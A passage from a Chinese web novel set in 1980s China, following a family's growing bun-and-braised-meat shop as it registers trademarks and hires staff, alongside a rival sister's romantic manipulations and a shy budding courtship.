到时候开个更大更好的铺子, 把赵桂花的生意给彻底搅黄了。 一切都计划得很好, 可是当他无意间从“爱国大肉包”门口路过，看见那招牌又大了一圈, 门面还大了一倍之后, 内心又开始不平衡了。 林富贵躲在阴暗的小角落, 偷摸看了会儿，这不看不知道，一看牙都要咬碎了。买个包子居然还要大排长龙？！ 探着身子一看，呸！居然连熟肉都卖上了！ 两个提着饭盒的小伙子，恰好路过, 嘴里还叨叨着：“我跟你说, 爱国家的猪头肉绝对是独一份儿的。吃过一回你就知道了，诶，你加花生米没有？” “没有。” “下回一定要加, 跟大杂烩调到一块儿那味道更是美到天边儿了，她家洋葱和香菜给的也多，买一斤肉一盒都装不下！” “那我下回一定加！” …… 林富贵看着俩小伙子慢慢走远，脸色铁青，恨不得冲进铺子把里头砸得一干二净。靠在电线杆上臆想着自己的“勇猛无敌”，富贵憋得肺都快炸了。 闺女不让他冲动，不能去，不能去，念经似的找回些理智后，他这才骑上自行车阴暗地爬了。 父亲这头阴晴不定，闺女那边却是一片艳阳天。 林兰开学之后立刻加强了对贺启明的进攻。她先是制造机会多多相处，在学生会课下活动的时候，展现自己优秀的口才和超前的思想，吸引所有人的主意和欣赏。然后借着要跟杨清明出去办正事的借口，时不时冷冷贺启明，对他制造一种“你其实没那么重要”的危机。 一开始贺启明还觉得没什么，不过随着林兰拒绝跟他一块儿谈事的次数越来越多，跟杨清明越走越近之后，他渐渐有些不痛快了。虽然他对林兰还没什么过多的心思，但是他非常确定自己不喜欢被人无视。 于是，成功引起了贺启明注意的林兰，很快就受到了他的猛烈出击。 周末，他把林兰堵在了宿舍楼下，非要请她去有名的老莫餐厅吃洋饭。 林兰明确拒绝：“我不去，还得去图书馆看书。” 贺启明：“跟杨清明一块儿去？” 林兰点头。 贺启明轻笑，“看来你还挺喜欢他的，上哪儿都带着。” 林兰皱眉，做出圣洁又正义的模样，“你不要胡说，我们只是老乡。” 贺启明：“你把他当老乡，他把你当对象。” 林兰看着他不说话，表情很是生气。 贺启明也不怕她生气，直接发问：“给一句痛快话吧，你是选我，还是选他？” 林兰瞬间露出一种类似被喜欢的人伤害了的表情，轻声问他：“你喜欢我吗？” 贺启明顿了一下，随即点头。 林兰露出苦涩的笑容，眼圈也跟着泛红，用一副被他伤害了的模样，哽咽道：“你不是喜欢我，你只是看不得有人不围着你转而已。我知道你厉害，你家里厉害，你还是京市人，瞧不起我这些没权没势小地方来的，但是我告诉你，你看错人了。我不仅现在不喜欢你，以后也不会喜欢你！这个地球不是围着你转的，更不是所有人都要喜欢你的！” 喊完这些话后，林珊深深地看了贺启明一眼后，哭着飞奔回宿舍。她嘴里的话是这个意思，表情和动作却完全是另外一个意思。活脱脱的一副“我喜欢你，但是自尊被你伤了，知道你不是真心喜欢我之后，心痛得我口是心非”的模样。 贺启明再精明，也不过是个二十岁的小伙子，哪能抵过重活一世的人。于是他就这么傻傻地站在原地，满心愧疚，原本胜负欲过多的追求，在这一刻流露出了真情。 有被看穿的不堪，有被对方“真情流露的”震撼，还有对她这个人的聪慧和自尊的赞赏。简言之，贺启明被林兰这一场“倔强小百花”似的表演，给拿捏住了百分之三十。 如果说这只是开胃菜，接下来极限拉扯，拼命追求又被拼命拒绝的过程，则又拿捏住贺启明百分之三十。 最后那百分之四十，则是在一个月黑风高的夜晚，贺启明翻墙离校不小心摔断腿之后，被林兰含泪照顾了一个月之后，彻底拿捏住了。 头顶一片绿的最强工具人杨清明，此刻还被蒙在鼓里，完全不知道自己的女朋友，已经在医院跟另外一个男人紧紧相拥在一起了。 林兰历时五个多月，终于拿下了贺启明。她确立关系的第一时间，就是找杨清明分手。这个时期的谈对象，不像后世那么随意，只要是认真谈的，基本都是想要奔向婚姻的。 即使现在贺启明还没有结婚想法，林兰也有把握他绝对跑不出自己的手掌心。既然走到了这一步，那之前的一切就必须打扫干净。 杨清明从放暑假的时候，林兰没跟她一块儿回安河起，就已经觉得不太对劲了，结果假期还没结束，林兰回到老家的第一件事，就是跟他提分手。 “为什么啊？！你看上别人了？是贺启明对不对？”杨清明崩溃，完全不敢相信自己精挑细选的女朋友，现在反过来不要他了！ “跟别人没关系。”林兰眼眶泛红，声音小得像个受害者似的，“其实是因为我一直过不了心里那个坎儿。” “什么坎儿？！” “你跟林珊……我每次一看见你，就会想起你给她写得那些情书，送的那些礼物。你对我说的每一句话，我都会想你是不是也这么对她说过，你带我去做的每一件事，我都觉得是你跟她一块儿做过的！呜呜呜呜……对不起，我真得受不了了，我之前以为我能说服自己，当这一切都没发生过，但是林珊打过我骂过我，年前又在派出所当着那么多人的面儿来了那么一出，我、我实在是不能再忍受她动不动就说我搞破鞋！说我狗男女了！我没有，我不是！我真得不知道你们俩的事儿，我不想再待在一段被人指指点点的关系中了！呜呜呜呜……” 林兰哭得痛彻心扉，杨清明听得脸色铁青，“你、你就因为这个，要跟我分手？” 林兰摇头，继续痛哭道：“因为你对林珊比对我好！你写给她的信比写给我的多，送她的东西比送我的贵重！你不是我认识的那个优秀正直的杨清明，你是脚踏两条船，勾搭了妹妹，又选择姐姐的杨清明！” 杨清明面红耳赤，“你！我、我什么时候这样了！我喜欢的是你，她林珊算什么啊！” 林兰不听，哽咽道：“你不用解释了，我都已经看明白了。而且，只要咱们俩还在一起一天，就会被人说成是‘搞破鞋’的，现在还只是在安河，要是以后林珊闹到学校，闹到首都，咱们俩的人生可就彻底毁了！你愿意自己辛辛苦苦考上大学，读了那么多书，最后分配不了好工作，什么都不是不说，还要遭人唾弃吗？！” 杨清明沉默了，他肯定不想。但是，林珊也不至于要告到那么远吧。 “我知道你觉得她不会真告你的。但是万一呢？万一她看着咱们俩越来越好，甚至以后结婚生孩子，飞黄腾达，她心里能平衡吗？年前在派出所的时候，她上来就拿出那么多信和东西，要不是还想着你，她为什么还留着啊！清明，你冷静下来好好想想。咱们俩不能在一起了，真得已经不合适了。” 林兰沉浸式地洗脑杨清明，把他洗得陷入沉思。 是啊，林珊还留着他的东西，肯定是还想着他。万一到时候真告到学校，他一辈子可就毁了。过年的时候他已经被爷爷和父母给关怕了。要是再惹出点儿什么来，恐怕就得皮开肉绽了。 但是，你让他就这么跟林兰分手，心里也怪不得劲儿。毕竟好这么长时间了，好不容易拉了小手，亲了小嘴，就这就要完了。 他不痛快。 “清明，咱们回归同学和老乡的关系，是目前最好的选择了。”林兰拍着他的肩膀，轻声细语，“学校那么多女孩子喜欢你，你值得比我更好的姑娘。咱们两个人……就算是错误的时间遇上了对的人吧。” 杨清明低头沉默，心情低落。 不过林兰说得也有道理，学校确实有不少女孩子喜欢他，家里还有个林珊想着他，唉，有时候过于受欢迎，也是一件麻烦事。 林兰主动自己的手伸过去，“这辈子无缘做男女朋友，那咱们就做最亲密的家人，你比我大两个月，我以后喊你声‘哥’，可以吗？” 杨清明看看林兰，又看看她伸过来的手，深深叹了口气，有缘无分说得就是他们俩了吧。 他不是很情愿地握住林兰的手，自此少了个女友，多了个家人般的“好妹妹”。 第32章 第32章 爆款出炉 “爱国大肉包”的熟肉卤味大受欢迎, 新出的包子也每天不够卖，这几个月生意一天比一天好，平均每月的净利润都在1200块左右, 真是累并快乐着。 新房子的房款和利息，林珊如约给齐了陈德福。在区政府过完户之后, 赵桂花女士正式成为了屋主。国人对房子和土地的执念根深蒂固，说得再美, 都不如实实在在的房子到手安心。 这几个月生意好，连续忙了这么多天后, 林珊娘仨趁一个下雨天, 早早关门，回家开上瓶小酒, 整上几个小菜庆祝去了。 三个人酒量都不行, 要的就是那个气氛。 “姗, 以后妈都听你的。”赵桂花已经喝得有点儿大舌头了，却还在不停地重复这句话, 夸完林珊, 又开始夸林红, “红，你是妈的好孩子，乖孩子！妈这辈子做梦都想不到，咱还能过上这样的生活！”说着，她手指向前面的电风扇, 和窗口放着的缝纫机, “看见了么！电器咱家都买得起了！” 林珊和林红面面相觑，忍不住笑了，看来桂花女士是真喝大了。 风扇是林珊前两天刚买的。现在正直盛夏, 虽然新家比旧家凉快了不少，又有树荫遮着太阳，但还是挡不住热气，所以她就做主花了358块买了两台电风扇。白天的时候放在店里给客人解暑，关门之后则搬回家自己吹风。 再加上前几个月花62块钱，买的那台七成新的缝纫机，家里也算是有三台像样的电器了。 去年夏天就心心念念的风扇，如今吹上了，赵桂花往地上的凉席一躺，乘着风，凉快得她想呼呼大睡。 窗户下那台缝纫机，是家里添置的第一件电器。 平时缝缝补补的地方太多了，针线太慢，做出来的又不好看，总不能一直借邻居的用，所以有了闲钱的第一时间，林珊就找周婶子寻觅了一台旧缝纫机。 有了缝纫机之后，赵桂花还沉迷上了做衣服。前一阵跟人学习做连衣裙，给两个闺女一人整了一条的确良连衣裙，她自己则做了一套汗衫和裤子。就这还不过瘾，一有空就翻出之前攒的那堆布头，三天做个小兜，两天做个袖套，颇有点儿要把缝纫机踩冒烟的架势。 林珊现在最怕的就是赵桂花说：“猜猜妈又给你们做了个啥？” 林红也爱做衣服，不过她刚开始学，都是用赵桂花剩下的那些布条来练手的，缝个头花啊，做个小背心之类的。 总之全家除了林珊之外，都对这台缝纫机爱不释手。 “呼……呼……”躺下不到一会儿，赵桂花就开始打呼噜了。 姐妹俩笑着把残羹剩饭收拾干净，洗漱过后也挨着她躺下了。 外头蝉鸣狂叫，客厅内母女三人睡在铺着褥子的凉席上，旁边地上还趴着一条熟睡狗狗，配上电风扇来回摇头为她们解着暑，画面别提多温馨了。 第二天一大早，林珊卖完早上那顿之后，就回家里来忙活了。今天徐大爷会带他徒弟过来修缮房屋，西南角那个用来洗澡的小屋，有些破旧了，需要加固改造一下。 也不用多大工程，不到半天就能干完。除了加固，她主要想在房顶上放一个铁皮大桶晒水，接好上下管子，这样夏天淋浴的时候就方便多了。 冬天的话没办法，太冷了还是得去门口的澡堂子洗。 把要求说清楚之后，徐大爷他们忙着干活，林珊也趁这会儿空档给地里的菜浇浇水。 她家院子西侧那一大块儿空土地，之前被娘仨种上了好养活的蔬菜。小青菜现在已经成熟了，每天早上摘点儿菜下个挂面汤，别提多方便了。冬瓜也不用管它，让它躺在地里长，一天一个样儿。 院子里的石榴树已经开了花，最近都开始要慢慢结果了，相信过不了多久她们就能吃上自家产的石榴啦。 不过原先预想的那种，躺在石榴树下吃西瓜纳凉的日子，压根儿没什么机会过上，实在是因为平时太忙了。 林珊给地里浇水，大黄以为她在玩儿，赶紧跑过来围着她摇尾巴。林珊被它一脸渴望的模样给都笑了，捡起纸团粘成的小球，扔屋里去了。 大黄嗖一下飞奔出去，没多大会儿就叼着球回来了，那意思是还要再玩儿。 林珊只能一边浇地，一边扔球给它。 大黄现在已经快一岁了，早没了小时候的憨态，出落得漂漂亮亮。不但学东西快，还给什么吃什么，听见一点响动就会立刻警觉起来，不但是看家护院的一把好手，还是她们家不可或缺的小可爱。 中午的时候，徐大爷顺利完工，林珊检查了一遍，别提多满意了。 “你这手艺绝对是安河第一！”水泥平整，做工细致，关键是还快，铁皮桶也放上去了，上水特别顺利，下水就更不用说了，水龙头一开，那叫一个顺畅。 结了工钱之后，林珊把徐大爷他们领到店里吃了顿饭，面条包子熟肉随便吃。 “爱国”家的熟肉和包子在这片可是响当当得，来得晚了压根就买不上，徐大爷领着徒弟大快朵颐，别提多有面儿了。 “下次再找咱就好了。”徒弟被猪头肉给香迷糊了，吃得两眼笑眯眯。 徐大爷乐了，同时不忘敲打他，“人家出手大方，咱更得给出好活儿，明白吗？” “明白明白。”给别人家干活的时候，也有管饭的，但多半都是家常便饭，不说清汤寡水，但也差不多。还从来没有这种让他们直接来馆子吃的。 小徒弟打心里希望林珊家天天有活儿干。 师徒俩这头吃得开心，林珊却忙坏了。中午的时候人多，买熟肉的、吃面的、买包子的，络绎不绝。今天也不知道怎么回事，熟肉从一早上开始就卖的特别好，这会儿看着竟然快见底了。明天要是还卖这么快，就得再加大备货量了。 “小姑娘？”一个四十多岁的女人，从身后拍林珊的肩膀。 林珊扭头一看，只觉得对方有些面熟，“您是……” “我是你们隔壁邻居家的保姆，我叫红梅。”红梅笑着介绍着自己，希望林珊能想起来，虽然大家仅有过两三次一面之缘。 “哦……”林珊恍然大悟，没错，好像确实是杨老太家的保姆。她们一家三口 每天在店里忙，在家的时候不是早上就是晚上，跟邻居们出来活动的时间基本都是错开的，更何况杨老太家还常年紧闭房门。 林珊见她手里拿着饭盒，笑着询问道：“您想买点儿什么？” 红梅有些不好意思地笑笑，“我家老太太想吃猪头肉，我看这队……”她比划了一下这大排场龙的队伍，和摊子上已经不多的熟肉，怕排到她的时候没了，所以就想走点后门。 只不过要是这经常走动的邻居，走后门也说得通，可她们跟人家连话都没说过，这么贸然的走，确实有点儿厚脸皮了。 林珊看了一下队伍，又估算了一下肉量，卖完中午这顿没问题。于是她笑着说：“您要多少？” 红梅心中一喜，“不多不多，来一斤猪头肉尝尝就行，老太太岁数大了，不敢让她多吃。” “好，洋葱、香菜都要吧？” “要的要的！” 林珊接过饭盒，没有打扰林红那边的队伍秩序，自己切了一斤猪头肉，到边儿上给她调味儿去了。都是街坊邻居，既然开这个口了，那面子还是要给的。 “谢谢谢谢！太谢谢姑娘了！”红梅感激地接过满满一盒熟肉，开心地付了钱，“姑娘怎么称呼啊？” “我叫林珊，吃得好以后您常来啊。” “诶诶诶，一定一定。”红梅笑呵呵地走了，其实没有熟肉之前她就想来吃包子了，可谁让老太太不喜欢吃包子，不但不允许她往家带，还不允许她自己吃。 这回这个熟肉，实在是因为隔壁天天炖肉，香得只隔一道墙的她们，每顿都流口水。再加上老太太确实喜欢猪头肉，这才同意让她买来试试的。 圆满完成任务的红梅回去之后，邀功似的把饭盒往桌上一放，声情并茂地叙述了一遍铺子的火爆程度，“您可不知道那乌央乌央的人哟，我都快晕里头了！要不是隔壁那个漂亮小姑娘林珊，咱今天中午这顿猪头肉是吃不上咯。姑，您赶紧来尝尝好不好吃！我一路闻着味儿，哈喇子都快流出来了。” 杨老太嫌她夸张，“没出息的劲儿，你没吃过肉啊？” 红梅笑着给她递筷子，“没吃过她家的。” “呲。”杨老太不以为意地夹了块肉，入口的一瞬间，表情突然转成了惊喜。 嗯，确实还行。 肉质鲜，有弹性又不失糯劲儿，火候刚刚好。肉香，卤更香，再加上洋葱香菜调味儿，进口的那一瞬间别提多丰富了。再往下嚼，香味出来的更浓，可比她们每天隔着院子闻到的肉味儿香多了。 红梅观察着老太太的表情，知道她这是很满意了，于是也忍不住拿起筷子尝起来，“……嗯！好吃好吃，老天爷啊，真香！怪不得这么多人排队！” “吃慢点儿！”杨老太瞪她，“五大三粗的，少你哪一口了，别跟没见过东西似的，给我慢点儿吃。” “诶诶。”红梅放慢速度嚼肉，看了眼自己做的菜，“姑，以后咱每顿都去包子铺吃饭吧。我看她家包子和面条也得排队，肯定好吃！而且，好像还有腐乳肉包子呢，咱明天买来吃吃吧？” 第33章 第33章 注册商标 “一天到晚就知道吃！”杨老太不想搭理红梅了。 自己优雅地吃起猪头肉, 再次感觉真不错，这东西不但下酒，应该还挺下馒头和米饭。吃了几口, 等她夹起红梅做的清炒小白菜换口的时候，顿时一脸嫌弃。 “不好吃吧？”红梅也觉得不好吃。 她就是农村主妇的家常手艺, 杨老太则是压根儿就不会做。说起这个，她到今天也不明白为什么当初那么多人里, 老太太选了她来当保姆。 虽然她是杨家的远房亲戚，但是早不知道出多少辈儿了, 农村人, 又死了丈夫，没念过多少书, 人还吃得多, 不知道为啥老太太居然同意让她过来照顾。 不过不明白归不明白, 红梅是一心一意为老太太好，只要老太太让她干的, 绝对没有二话, 老太太不让的, 她也绝对不敢迈出一步。 “姑，你说咱要不要跟隔壁走近点儿啊，这样以后想吃肉的时候，也好跟人家开口，今天我可是厚着老脸去找人家的, 生怕人家来一句‘你算老几啊’, 不过小姑娘特别好，二话没说就给我秤肉去了！” 杨老太想了想，“你提一箱枣茶给她送过去吧。” “诶！”红梅高兴地点头, 想着以后吃肉可方便了，“姑，那包子的事儿……” 杨老太嫌弃地瞥了她一会儿，哼声：“吃吧吃吧，迟早吃得走不动道儿。” 红梅开心地笑了，“谢谢姑。” 林珊不知道自己又多了个客户，忙完上午之后，店里总算能歇歇脚，吃上饭了。 熟肉反应太好，去年想的夏天卖凉皮凉面的点子，就不合适了。现在只需要把已有的产品卖好，收入就相当可观了。 “多吃点儿娜娜。”林珊给她的面里多加了很多猪杂，还出去买了三瓶汽水给大家喝。天气热，又忙了一上午，实在需要好好歇歇了。 李娜爱吃猪杂面，还爱放辣椒和醋，再配上一个大肉包，还有店里自己腌的小泡菜，吃起来别提多好吃了。她觉得在这儿干活可太舒服了，不但吃得好，有风扇吹，还有汽水儿喝，珊姐还经常表扬她，说她做得好！ 李娜长这么大都没被人这么夸过，每天都干劲儿十足，可喜欢待铺子里了。 林珊见她吃得香，不由得也食欲大增，足足吃了一大碗肉丝面。 下一步她准备再花十五块招一个服务员，然后把李娜升成领班，工资加到二十块一个月。多招一个人，大家都能轻松一些。她也不用每次出去办事的时候，总操心赶不回去的话饭点儿人多怎么办了。 家里现在的存款有4300多块，除了够招工之外，还有余钱再开一家铺子。 不过这个先不急，在扩张之前，她要先去工商局把商标注册了。规范经营就必须按照路子来，省得铺子越做越大之后，满大街到处都是“爱国大肉包”。 这年头还没有独立的商标局，想注册的话需要去工商局的商标管理处去办理。这事儿还是得麻烦黄丽娟帮忙牵线。 夜里林珊把想法跟赵桂花和林红说了，两人纷纷表示赞同。 “以后这些事儿你拿主意就行。”赵桂花在房子过完户，铺子开始大赚之后，对林珊的基本态度就是“你说什么就是什么”的状态，以前是害怕担心，现在渐渐变得有点儿盲目相信了。 林红也差不多，她觉得妹妹长大了，每次说要做的事儿都能做到，还做得特别好，所以姗姗提出要干什么，她已经习惯性支持了。 林珊第二天把招工的信儿放了出去，又趁下午空档的时候去工商局找了黄丽娟一趟。 黄丽娟一听她要注册商标，惊讶得合不住嘴，这丫头不仅会做生意，懂得还多！居然知道要注册商标，大多数人到现在可连商标是啥都不知道呢！ 不过这商标注册的事儿不归她管，所以黄丽娟领着林珊去了商标处找熟人。 黄丽娟的好姐妹梁干事，一听她是“爱国大肉包”的老板，立刻表示特别喜欢她们家的熟肉，就是经常去晚了就卖没了，让林珊多准备点儿。 林珊笑着应了，让她下次直接找自己就行，保准能吃到。 梁干事挺开心的，又聊了几句家常后，把商标注册的程序说了一下。其实这年头的流程特别简单，只需要去设计一个商标，然后拿着工商证和户口本过来申请就行，申请之后审核个几天基本就都批准了。 林珊谢过两位之后，回去着手商标设计的事儿了。这年头注册的还少，不用担心重复。商标她也早就想好了，后世很多卖饭的，都爱把自己的大名和照片印在招牌上头。林珊也打算这么做。 她向赵桂花要了一张林爱国的大头 照，把“爱国大肉包”这五个字排了下版，环绕在照片上方依次写下，照片下面则是“林爱国”三个小字。 没有林爱国用命换来的钱，她们不会这么快开铺子的。这也算是对他的一种纪念吧。 设计完商标之后，林珊拿过去让赵桂花和林红看。两人先是一愣，然后看着林爱国的照片哭了。 照片上林爱国笑得特别开心，这应该是他牺牲的前几个月从部队寄回家的照片，信上还说不久就要出任务了。没想到这一去，竟是天人永隔。 林珊安慰了她们一会儿，等两人情绪稳定一些之后，解释说：“铺子以后越做越大，会有越来越多的人知道‘林爱国’是谁，知道他的故事，知道他是个好士兵，好青年，知道他为咱们这个家付出的一切。” 赵桂花点点头，擦着脸上的泪，“有心了珊丫头，你哥在天上看见也会开心的。” 林红也哭着说：“嗯，这张照片哥笑得最开心了。” 林珊一左一右把两人揽在怀里，说了一会儿宽慰的话，等她们心情平复之后，才起身去忙别的事。 设计好商标后，林珊又找了印刷铺子，把图字标印了十份，然后跑回去再带上工商证和户口本，直接去找梁干事了。 梁干事没想到她准备东西这么快，两天功夫就全弄好了，一瞧她给的资料，立刻笑道：“你这商标倒是不容易被盗。诶，这是啥，咋这么多‘爱国肉包’？” 林珊把不仅把“爱国大肉包”注册了商标，还把“林爱国大肉包”、“爱国肉包”、“林爱国肉包”、“爱国小肉包”通通申请了上去。 这年头商标注册才刚实施没多久，别说安河这个小地方，就算大城市应该也还没有人遇到过，专门靠注册相似商标和倒卖商标发财的人。 后世你叫“陶华碧”我叫“陶碧华”，你叫“天津狗不理”我叫“狗不理天津”，你叫“蜜雪冰城”我叫“蜜雪水城”之类的碰瓷盗版行为猖獗，这年代虽然还没有被孕育出来，但是为了防止铺子做大之后被抄袭，她提前断了其他肉包的碰瓷捣乱之路。 很多大公司在注册商标的时候，都会把谐音、多音和错音的字，一起注册进去，不然以后有的是头大的地方。 林珊未雨绸缪，所以提交了这么多“爱国肉包”。 她简单跟梁干事解释了一下之后，对方恍然大悟，“嗯，确实有道理啊，咱上头倒是也没规定不让注册这么多，嗯，行，我先全给你交上去试试，应该问题不大的。” “好，那就麻烦您了。” “哪儿的话啊，都是为人民服务嘛。” 申请好了商标，林珊刚回到店里，就见王大娘领着个三十岁左右的女性坐在店里，这大热的天，对方居然穿长袖。 王大娘笑着解释道：“你不是说要找服务员吗？看看她行不行。” 大娘介绍的这个人叫薛凤琴，三十五岁了，是大娘在街道工作时候认识的。薛凤琴老公是个酒蒙子，经常家暴她，亲一阵儿酒后发疯打了他们七岁的闺女之后，薛凤琴一怒之下敲破了他的脑袋，说什么都要离婚。两家闹了一阵儿之后，经过街道的调解，薛凤琴离了婚，带着闺女回了娘家。 她娘家父母早去世了，大哥当家，虽然大哥大嫂对她们母女挺好的，她却不好意思一直吃闲饭，想着自己出来挣些钱，先交着伙食费，等攒够之后好跟闺女出去租个小房子住。 林红听了她的事儿之后，还没开口，赵桂花就骂上那个酒蒙子了，林红更是眼眶都红了。 “您识字的吧？”同情归同情，用人的规矩不能坏。 “识识，我读到初二才不读了，绝对不是文盲！”薛凤琴紧张得看着林珊，生怕她拒绝。 林珊笑道：“那好，我们这儿一个月十五块，包吃，活不算轻松，您可以先试两天，要是觉得能接受就留下来。” “诶诶，谢谢老板，谢谢老板。”薛凤琴感激地鞠躬。 林珊赶紧把她拦住了，“凤琴姐以后喊我‘林珊、姗姗、珊丫头’都行，咱店里不兴叫老板。” “诶诶，好好。” 招人的事儿搞定之后，林珊又装了些包子和熟肉给王大娘，让她带回去吃。 王大娘不跟她客气，“熟肉不用，店里还不够卖的，给我干啥，咱先紧着客人。拿俩豆腐包子就行了，我晚上吃一个、早上吃一个，王军那小子不回家吃，咱不管他。” 林珊笑着应了，另外还眼尖的发现，她姐只要一听“王军”的名字，人都会有点儿不一样。有点类似于僵硬和害羞之间的那种状态。 说起王军，王大娘又多说了一句，“军子快要调到市里了。” 第34章 第34章 给个机会吧 “市里？”林珊挺惊讶的。王军天天下班来店里吃面, 没听他提起过一嘴。 不过调到市里是好事儿啊，“军哥升职啦？” “算是吧，领导要把他调到市局专门查案子去, 估计下礼拜出手续。”王大娘说着，不着痕迹地看了眼林红, 希望这丫头跟自己那傻儿子能进展快点儿。 母子俩之前谈过心了，王军也把心里话和目前的状况跟她详细说过了。以前在所里上班离铺子近, 接触起来也方便，这以后调到市局, 过来就不是很方便了, 这俩闷疙瘩可咋办啊。 林珊也想到了这点，偷偷看向林红, 发现她正在发呆, 煮面的沸水都快冒出锅了, 多亏一旁的赵桂花眼疾手快，急忙加了把凉水。 林红这才回过神来, 不敢再胡思乱想, 低头专心煮面。 送走王大娘和薛凤琴后, 店里又开始忙下一顿，客人一多林红也就顾不得想东想西了。 夜里王军照旧过来吃面，林珊直接开门见山：“恭喜军哥啊，大娘说你要调市局去了。” 王军愣了一下，“唉, 本来想调令下来再跟你们说的, 我妈这嘴也太快了。” 林珊笑道：“升职是好事儿啊，就是以后离铺子远了，过来吃面就不方便了吧？” “远是稍微远了点儿, 不过不耽误我过来吃面。”王军说着，视线忍不住瞟向林红。 林红恰巧在看他，完全没料到他正说着话会来看自己，两人视线对上的那一瞬间，她心里大惊，连忙慌乱地躲开视线，脸蛋瞬间涨红。 王军也慌得不行，本能地避开眼神，然后又瞬间有点儿后知后觉，她……是不是知道点儿什么啊，不然怎么脸红成那样儿了呢？ 林珊看着俩人这一些列反应，有点想笑，她现在非常确定她姐对王军是有好感的。不过凭这连看上一眼就慌成这模样的表现，大概也不太容易主动发展些什么吧。 赵桂花跟李娜在旁边那桌上吃饭，压根儿没留意到这不一样的气氛，她还高兴地说：“军子可真厉害啊，都要去市里上班了，这以后肯定能当个大领导！” 王军被她这一说，叫醒了灵魂，“没有没有，我先干好手头的事儿要紧。” 赵桂花：“诶军子，婶子说句话你别嫌婶子多管闲事啊。” 王军笑道：“哪儿的话，您说。” “你也老大不小了，遇见差不多的姑娘就该考虑成家了，人太挑了不行的。咱是条件好，可这一年一年往后拖着，岁数也会越来越大不是？”赵桂花最近也是听多了王大娘为他的婚事发愁，才想劝劝。升职是好事，可也不能耽误了姻缘啊。 “您说的对。”王军点点头，心虚受教，然后清了下嗓子，鼓起勇气来了句：“我……其实有喜欢的姑娘了。” “啥？”赵桂花险些呛到，她就是随口 劝两句，没想到还劝出这么个大消息来！ 林珊也没想到王军会这么坦白，偷偷看眼她姐，果然，人又红成了猴屁股，夹泡菜的手都抖了起来。 “你、你有喜欢的姑娘了？！”赵桂花好奇，“哪家的姑娘，要是各方面都合适，咱找个人去说和一下啊。” 王军热得面红耳赤，却还是鼓起勇气说：“那姑娘……以前受过伤，现在不太敢谈对象。我、我就是剃头挑子一头热。” “哦。”赵桂花明白了，“单相思啊。”她虽然挺好奇那姑娘受过什么伤，但是也没傻到问人家这个，不过有喜欢的对象就好办，至少有个目标，王家姐姐也就有个盼头。 王军被赵桂花这句“单相思”，轰得差点儿热炸了，赶紧低头看碗，连往林红那方向瞅一眼都不敢。 林红比他也好不到哪儿去，心脏都快要蹦出来了，尤其是他说“受过伤，不敢谈”的时候，她鼻头一酸，眼眶瞬间爆红，整个人慌乱得赶紧背过大家，紧接着又听到他说自己是“剃头挑子一头热”，她一颗心更是彻底炸了出去，又懵又热，愣在那儿不知道干什么好。 林珊目睹了全过程，觉得或许是时候再问问她姐，到底对王军是个什么感觉了。 于是晚上回到家里，趁赵桂花睡着之后，她悄悄问林红：“姐，军哥今天说的话，你也听见了。你到底是怎么想的，对他有没有一丁点儿喜欢啊？” 林红红了一晚上的脸才刚正常，就被林珊这一句话给弄回来了，她低着头，摸着脸，不知道怎么说。 林珊懂了，“沉默就是默认哦。” 林红抬头看她，张了张嘴，却没能说出一个字来。 林珊笑了，“姐，喜欢一个人其实是件特别美好的事儿。要是能互相喜欢，那就更美了。我知道你害怕，害怕咱就慢慢来嘛，把你内心想的如实告诉对方，如果他是真心喜欢你，那他一定会好好呵护你，陪着你，等着你做好准备的。军哥对你的心意，我是一路看过来的。以后什么样没人敢保证，但就至少目前来说，他值得一次机会，姐你说是不是？” 林红内心有千言万语，却不知道怎么开口。 林珊明白，拦着她的肩膀，轻声叹息：“姐，给他一次机会，也给你自己一次机会。成就成，不成拉倒，完全不需要有压力。如果连试都没试过，岂不是要一辈子活在假设当中了？” 林红沉默了好大一会儿，想起遇见王军之后的点点滴滴。从一开始替她整张强，到后来帮她们开店，再到知道他对自己有意思。后来又知道他竟然要等自己恢复，怕吓到自己，她心里的那杆秤，好像从那个时候起就开始倾斜了。 现在每天看见他好像已经成了习惯了，有时候他来的晚一点儿，她还会想会不会派出所出什么事儿了，没出意外吧。 从不相信到在意，再到现在变成了担心。她明白自己已经变了，尤其是今天知道他要调走之后，心里一下就特别慌。晚上又听见他对自己妈妈说了那些话，感动激动害怕内疚全都挤在胸口，烧得她完全没办法动弹。 姗姗说得对，不试试，以后到死她可能都会在想，如果那时候我接受了王军，日子又会是什么样呢。 “姐，军哥岁数不小了。”林珊助攻。王军比她姐大五岁，应该也快二十八了，在这个年头已经算是大龄青年了。 林红深吸口气，看向林珊，原本勇气鼓得十足，可以对上妹妹的眼睛，立刻就不好意思了，“我……我、他……他、那个……” 林珊瞧她又红成了猴屁股，笑道：“姐，你这是同意跟军哥处处了？” 林红轻轻“嗯”了一声，然后不好意思地低下头抠手去了。 林珊被她逗乐了，不容易啊，真替这俩闷葫芦感到开心。 第二天上午林珊抽空跑去派出所，把她姐愿意试着处处的事儿，告诉王军了。 王军惊得把茶缸里的水都洒了，人待在那儿好半天，才渐渐缓过神来。他高兴地在所里来回踱步，恨不得立刻就飞奔去“爱国大肉包”。 林珊把他拉到一边，“冷静啊哥，我姐容易害羞，我妈也还不知道这事儿。你们俩处对象的事儿，最好还是慢慢儿来吧，接触一阵子之后再告诉家里人，这样稳妥些，也有个缓冲的过程。” 王军开心地列着大嘴笑：“是是是，你说得对，就是要慢慢儿来，不能太慌了，不然林红会害怕的。” 林珊：“……”这是八十年代的狗粮吗？ 林珊摸了摸鸡皮疙瘩，挥挥手撤了，她通风报信的任务已经完成，剩下就是他俩自己的事儿了。 薛凤琴今天第一天上班，林珊得趁现在空闲，赶紧把店里的规矩跟她说一遍。就跟当初教李娜似的，简单把大致要求一说，剩下的那些，干活的时候边干边说就行了。 林珊经过一天的观察下来，发现薛凤琴也是个能吃苦的，不但干活是把好手，人还很细致，上菜的时候会主动避开有小孩儿那一侧，收钱的时候也是看了又看，算了又算。 林珊挺满意的。下午宣布给李娜加工资的时候，她告诉薛凤琴：“如果干得好，都会加工资的，咱们这儿赏罚分明。铺子越好，工资越高。” 薛凤琴开心地点点头，表示自己一定好好干。就冲老板不仅管饭，晚上还让她带包子和菜回家给孩子吃，这点就打着灯笼都找不着。她愿意在这儿干，珊老板心好，给的钱也不少，桂花姐和红老板也都特别随和，特别照顾她。她一定要好好干，不辜负她们。 铺子有了两名服务员之后，林珊娘仨总算能歇开手了，一天下来比以前轻松不少。虽然卤肉的量又加了一倍，但是人却没有以前累。 下午没什么客人的时候，赵桂花甚至都能回家歇个午觉。 